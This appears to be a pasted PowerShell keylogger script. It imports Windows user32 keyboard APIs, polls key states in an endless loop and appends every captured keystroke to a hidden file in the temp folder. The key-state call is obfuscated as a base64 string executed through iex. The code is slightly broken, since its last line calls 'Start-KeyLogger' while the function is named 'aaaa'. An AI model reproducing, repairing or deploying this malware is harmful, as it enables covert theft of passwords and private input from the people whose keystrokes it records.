Fu5NY0Kw

1
2function aaaa($Path="$env:temp\keys") 
3{
4  # Signatures for API Calls
5  $signatures = @'
6[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
7public static extern short GetAsyncKeyState(int virtualKeyCode); 
8[DllImport("user32.dll", CharSet=CharSet.Auto)]
9public static extern int GetKeyboardState(byte[] keystate);
10[DllImport("user32.dll", CharSet=CharSet.Auto)]
11public static extern int MapVirtualKey(uint uCode, int uMapType);
12[DllImport("user32.dll", CharSet=CharSet.Auto)]
13public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
14'@
15
16  # load signatures and make members available
17  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
18    
19  # create output file
20  $null = New-Item -Path $Path -ItemType File -Force
21
22    # create endless loop. When user presses CTRL+C, finally-block
23    # executes and shows the collected key presses
24    while ($true) {
25      Start-Sleep -Milliseconds 40
26      
27      # scan all ASCII codes above 8
28      for ($ascii = 9; $ascii -le 254; $ascii++) {
29        # get current key state
30       
31[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("IAAkAHMAdABhAHQAZQAgAD0AIAAkAEEAUABJADoAOgBHAGUAdABBAHMAeQBuAGMASwBlAHkAUwB0AGEAdABlACgAJABhAHMAYwBpAGkAKQA="))|iex
32
33
34        # is key pressed?
35        if ($state -eq -32767) {
36          $null = [console]::CapsLock
37
38          # translate scan code to real code
39          $virtualKey = $API::MapVirtualKey($ascii, 3)
40
41          # get keyboard state for virtual keys
42          $kbstate = New-Object Byte[] 256
43          $checkkbstate = $API::GetKeyboardState($kbstate)
44
45          # prepare a StringBuilder to receive input key
46          $mychar = New-Object -TypeName System.Text.StringBuilder
47
48          # translate virtual key
49          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
50
51          if ($success) 
52          {
53            # add key to logger file
54            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
55          }
56        }
57      }
58    }
59  }
60
61Start-KeyLogger